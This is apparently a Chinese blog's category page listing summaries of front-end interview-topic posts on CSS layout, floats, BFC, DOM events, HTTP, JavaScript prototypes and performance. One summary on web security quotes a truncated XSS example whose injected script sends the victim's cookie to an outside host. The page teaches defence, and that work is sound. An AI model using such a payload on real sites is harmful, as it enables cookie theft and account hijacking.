前端系统知识点 - 随笔分类 - 坚持不懈❥

摘要：第一种，绝对定位第二种：flex 阅读全文

posted @ 2018-03-08 17:13 坚持不懈❥ 阅读(391) 评论(0) 推荐(0)

摘要：1.前端错误的分类 2.错误的捕获方式 3.上报错误的基本原理前端错误的分类即时运行错误：代码错误资源加载错误错误的捕获方式对于即时运行错误：（1）try{}catch(e){} (2)window.onerror 资源加载错误 (1) object.onerror (例如img,scr 阅读全文

posted @ 2017-12-28 11:33 坚持不懈❥ 阅读(367) 评论(0) 推荐(0)

渲染机制

摘要：1什么是DOCtype和作用 2.浏览器怎么渲染的 3.重排flow 4.重绘 5.布局Layout 什么是DOCtype和作用为构建渲染树，浏览器大体上完成了下列工作：从 DOM 树的根节点开始遍历每个可见节点。某些节点不可见（例如脚本标记、元标记等），因为它们不会体现在渲染输出中，所以会被阅读全文

posted @ 2017-12-27 22:24 坚持不懈❥ 阅读(206) 评论(0) 推荐(0)

css盒模型问题

摘要：css盒模型问题 1.基本概念：标准模型和ie模型 2.标准模型和ie模型的区别 3.css如果设置这两种模型 4.js如何获取盒模型的宽高 5.边距重叠 6.BFC 1.CSS盒模型本质上是一个盒子，封装周围的HTML元素，它包括：Margin(外边距) ，Border(边框) ，Padding( 阅读全文

posted @ 2017-12-26 13:34 坚持不懈❥ 阅读(205) 评论(0) 推荐(0)

js new运算符

摘要：用代码模拟这个逻辑就是阅读全文

posted @ 2017-12-02 18:46 坚持不懈❥ 阅读(154) 评论(0) 推荐(0)

前后端通信

摘要：什么是同源策略及限制前后端如何通信创建ajax 跨域通信的几种方式同源策略及限制同源策略限制从一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的关键的安全机制。所谓同源是指，域名，协议，端口相同。 cookie,localstorage，dom 没办法相阅读全文

posted @ 2017-09-08 18:01 坚持不懈❥ 阅读(366) 评论(0) 推荐(0)

js 面向对象类

摘要：类的声明继承的几种方法类的声明第一种第二种。es6中新添加的继承的几种方法 1.构造函数实现继承原理：在子类中调用了父级的构造函数，并把上下文换成子类，只是部分继承缺点：看到上面输出的就知道，父类的prototype上的方法继承不了 2、原型链继承上面的方法父类的prototype的阅读全文

posted @ 2017-09-07 18:03 坚持不懈❥ 阅读(130) 评论(0) 推荐(0)

typeof 、Object.prototype.toString和 instanceof

摘要：数据类型 js 基本类型包括：Undefined symbol null string boolean number js 引用类型包括：object array Date RegExp typeof 我们一般用typeof来判断数据的类型的接下来我们试试 typeof 是一个操作符,主要的目的是阅读全文

posted @ 2017-09-06 18:25 坚持不懈❥ 阅读(269) 评论(0) 推荐(0)

原型链之对象的创建

摘要：第一种：自面量第二种：显式的构造函数第三种 Object.create(proto [, propertiesObject ]) 是E5中提出的一种新的对象创建方式，第一个参数是要继承的原型，如果不是一个子函数，可以传一个null，第二个参数是对象的属性描述符，这个参数是可选的。阅读全文

posted @ 2017-09-06 14:58 坚持不懈❥ 阅读(120) 评论(0) 推荐(0)

HTTP协议类

摘要：HTTP协议类 HTTP的主要特点 HTTP报文的组成 HTTP方法 POST和GET的区别 HTTP的状态码什么是持久连接什么是管线化 http的主要特点 1.简单快捷：当客户端向服务器端发送请求时，只是简单的填写请求路径即可，然后就可以通过浏览器或其他方式将该请求发送就行了。比较常用的请求方阅读全文

posted @ 2017-09-06 12:11 坚持不懈❥ 阅读(216) 评论(0) 推荐(0)

dom事件类

摘要：DOM类的相关信息一、DOM事件级别(DOM标准定义的级别) DOM0 element.onclick = function(){} DOM2 element.addEventListener('click',function(){},false) ie中：btn.attachEvent('onc 阅读全文

posted @ 2017-09-04 14:22 坚持不懈❥ 阅读(174) 评论(0) 推荐(0)

css之浮动

摘要：首先什么是浮动？浮动元素会脱离文档流并向左/向右浮动，直到碰到父元素或者另一个浮动元素。 float造成的影响 1.浮动会导致父元素高度坍塌最常见的问题就是父元素高度坍塌，它脱离当前正常的文档流，所以它也无法撑开其父元素 2.浮动对兄弟元素的影响 2.1如果兄弟元素为块级别的在现代浏览器和IE 阅读全文

posted @ 2017-09-01 16:49 坚持不懈❥ 阅读(131) 评论(0) 推荐(0)

Web前端安全问题

摘要：1.XSS跨站脚本攻击(Cross Site Scripting) 1）通过<script> 举个例子：通过QQ群，或者通过群发垃圾邮件，来让其他人点击这个地址： book.com/search?name=<script>document.location='http://vajoy/get?coo 阅读全文

posted @ 2016-12-22 14:15 坚持不懈❥ 阅读(8039) 评论(0) 推荐(0)

css清除浮动

摘要：第一种方法：结尾处加空div标签 clear:both 优点：这种方法兼容性好缺点：但是有多余的标签第二种方法：使用 :after 为元素原理：IE8以上和非IE浏览器才支持:after，zoom(IE转有属性)可解决ie6,ie7浮动问题优点：浏览器支持好、不容易出现怪问题（目前：大型网站阅读全文

posted @ 2016-12-15 18:21 坚持不懈❥ 阅读(234) 评论(0) 推荐(0)

块级格式化上下文(block formatting context)

摘要：在CSS2.1中，有三种定位方案——普通流、浮动和绝对定位：普通流：元素按照先后位置自上而下布局，inline元素水平排列，直到行被占满后换行，block元素则被渲染为完整的一行，除非指定，所有元素默认为普通流定位。浮动：浮动布局中，元素首先按照普通流位置出现，然后根据浮动方向尽可能向左或右偏移阅读全文

posted @ 2016-12-14 17:34 坚持不懈❥ 阅读(506) 评论(0) 推荐(0)

css之页面三列布局之左右两边宽度固定，中间自适应

摘要：左右两边宽度固定，中间自适应左右两边绝对定位可以利用浮动，左边的左浮动，右边的右浮动 css3 flex布局(html http://www.cnblogs.com/myzy/p/5919814.html) table布局 grid布局 (https://www.w3cplus.com/css3 阅读全文

posted @ 2016-12-06 11:36 坚持不懈❥ 阅读(850) 评论(0) 推荐(0)

css之页面两列布局

摘要：两列布局：左边固定，右边自适应第一种方法：左边的div左浮动或者是绝对定位，右边的div加margin-left:左边div的宽度 html部分 css部分第二种方法：BFC(块级格式化上下文) 对于BFC的理解可以看 http://www.cnblogs.com/vitruvi/p/43038 阅读全文

posted @ 2016-12-05 17:44 坚持不懈❥ 阅读(454) 评论(0) 推荐(0)

javascript 原型详解

摘要：引：http://www.cnblogs.com/wangfupeng1988/p/3978131.html 1.什么是javascript原型每一个函数都有prototype属性（默认生成的）和原型。这个prototype的属性值是一个对象（属性的集合，再次强调！），默认的只有一个叫做const 阅读全文

posted @ 2016-11-20 18:42 坚持不懈❥ 阅读(275) 评论(0) 推荐(0)

css3之弹性盒模型(Flex Box)

摘要：CSS3 弹性盒子(Flex Box) 弹性盒子是 CSS3 的一种新的布局模式。 CSS3 弹性盒（ Flexible Box 或 flexbox），是一种当页面需要适应不同的屏幕大小以及设备类型时确保元素拥有恰当的行为的布局方式。引入弹性盒布局模型的目的是提供一种更加有效的方式来对一个容器中的阅读全文

posted @ 2016-09-29 14:30 坚持不懈❥ 阅读(283) 评论(0) 推荐(0)

前端优化

摘要：7转自：http://www.cnblogs.com/developersupport/p/webpage-performance-best-practices.html 最佳实践' 最佳实践我们引用的来自yahoo前端性能团队总结的35条黄金定律。原文猛击这里。下面我们分门别类将每条的关键点总结一阅读全文

posted @ 2016-02-29 14:27 坚持不懈❥ 阅读(598) 评论(0) 推荐(0)

随笔分类 - 前端系统知识点